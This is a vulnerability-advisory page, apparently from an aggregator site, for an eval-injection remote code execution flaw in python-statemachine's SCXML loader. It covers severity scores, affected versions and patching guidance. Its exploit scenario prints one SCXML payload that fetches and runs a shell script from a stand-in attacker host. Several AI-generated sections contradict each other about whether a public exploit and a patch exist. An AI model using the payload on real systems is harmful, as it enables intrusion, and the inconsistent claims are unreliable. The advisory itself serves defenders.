Skip to main content

python-statemachine EUVDEUVD-2026-37730

| CVE-2026-47103 CRITICAL
Eval Injection (CWE-95)
2026-06-17 VulnCheck GHSA-v4jc-pm6r-3vj8
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify app ingesting SCXML documents
  2. Delivery
    Craft SCXML with malicious <data expr> payload
  3. Exploit
    Submit document via upload or API
  4. Execution
    SCXMLProcessor passes expr to eval()
  5. Persist
    Arbitrary Python runs as service account
  6. Impact
    Establish persistence or pivot internally

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The hosting application must use the experimental, previously undocumented SCXML loader - specifically statemachine.io.scxml.SCXMLProcessor or any code path that parses a .scxml file - and must ingest that document from an untrusted or third-party source. Applications that define state machines purely in Python via the StateMachine or StateChart classes never invoke the eval path and are not exploitable. No authentication, user interaction, or special platform configuration is required once attacker-controlled SCXML reaches the parser, but the parser itself is only present on python-statemachine 3.0.0 through 3.1.x running on Python 3.9+.

Impact

Vendor-issued CVSS 4.0 is 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) reflecting full confidentiality, integrity, and availability loss with no privileges or user interaction once a malicious SCXML document is processed. The real-world risk is gated by exposure: the SCXML loader was experimental and previously undocumented, so most production deployments never call SCXMLProcessor and are unaffected. There is no EPSS score, KEV listing, or evidence of in-the-wild use supplied; signals point to high-impact-but-narrow-exposure rather than mass exploitation. Where applications do ingest third-party .scxml files (e.g., low-code workflow tools, simulation platforms), risk is critical and should be patched immediately.

Exploit ScenarioDerived

An attacker uploads or otherwise delivers an SCXML workflow file containing <data id="x" expr="__import__('os').system('curl attacker/sh|sh')"/> to an application that uses SCXMLProcessor to load third-party state-charts. When the host application parses the document, the expression is handed to eval() and executes immediately as the service account, yielding code execution with no authentication or user interaction. VulnCheck has published a public advisory describing the eval-injection sink, so working proof-of-concept payloads exist.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.8% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 17, 2026

Remote code execution in python-statemachine 3.0.0 through 3.1.x allows attackers to run arbitrary Python in the host process by supplying a crafted SCXML document whose <data expr="..."> attributes are passed unsandboxed to eval() inside SCXMLProcessor. Reported by VulnCheck with publicly available exploit code and a vendor advisory (GHSA-v4jc-pm6r-3vj8); no public exploit identified at time of analysis as actively in the wild, and the flaw is not listed in CISA KEV.

RemediationAI

Vendor-released patch: upgrade to python-statemachine 3.2.0 or later (pip install --upgrade 'python-statemachine>=3.2.0'), which replaces the unsafe eval() path with a safe-by-default SCXML datamodel per GHSA-v4jc-pm6r-3vj8. Note that 3.2.0 drops Python 3.9 support and requires Python 3.10+; environments still on 3.9 should plan an interpreter upgrade rather than pinning to vulnerable 3.1.x. If immediate upgrade is impossible, stop calling SCXMLProcessor or parsing .scxml files from any source you do not fully control, validate/strip <data expr="…"> attributes from inbound documents before parsing, and isolate any SCXML-handling worker in a least-privilege sandbox (separate user, seccomp, no network egress) - these mitigations break legitimate dynamic SCXML data expressions, so document the functional loss.

Affected VersionsENISA

python-statemachine 3.0.0 <3.2.0

Affected Packages

pypi python-statemachine fix: 3.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

python-statemachine is a Python library implementing the W3C SCXML state-chart execution model. Its experimental SCXML loader (statemachine.io.scxml.SCXMLProcessor) parses .scxml XML documents and resolves data-model expressions such as <data expr="…"> by feeding the raw string into Python's built-in eval() with no sandbox or AST allow-list - a textbook CWE-95 'Improper Neutralization of Directives in Dynamically Evaluated Code' (eval injection). Any code reachable from the eval globals (os, subprocess, importlib) is therefore callable. The single affected CPE is cpe:2.3:a:fgmacedo:python-statemachine, and only the SCXML ingestion path is vulnerable; Python-defined StateMachine/StateChart objects do not touch eval.

Know when Python Statemachine gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Attacker-supplied SCXML reaches eval() with no auth or interaction when the loader is used, yielding full code execution in-process, so AV:N/AC:L/PR:N/UI:N and C/I/A:H.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jun 18, 2026 - 17:02 EUVD

DescriptionCVE.org

Python StateMachine versions 3.0.0 before 3.2.0 contains a remote code execution vulnerability that allows attackers to execute arbitrary code by supplying malicious SCXML documents containing crafted <data expr="..."> attributes evaluated unsafely. The SCXMLProcessor passes attacker-controlled expression strings through a call chain ending in Python's built-in eval() without sandboxing, enabling arbitrary code execution in the context of the hosting process.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 2 pypi packages depend on python-statemachine (2 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.0.0.

Executive ViewAI

Why It Matters

python-statemachine versions 3.0.0 through 3.1.x contain a critical remote code execution vulnerability allowing complete unauthorized system access. Publicly available exploit code exists, creating immediate risk for any organization using this library. Rapid identification and remediation of affected deployments is essential.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Restrict SCXML document processing to trusted sources only. Implement network segmentation to isolate affected systems. Apply strict input validation and content filtering to SCXML inputs. Monitor application execution logs for anomalous Python code execution. Consider disabling SCXML functionality or air-gapping systems until patches are available.

Threat Intelligence Overview

EPSS Score
0.8%
Top 48% exploitable
Threat Intel
1
1 sources
Social Media
2
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.8%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy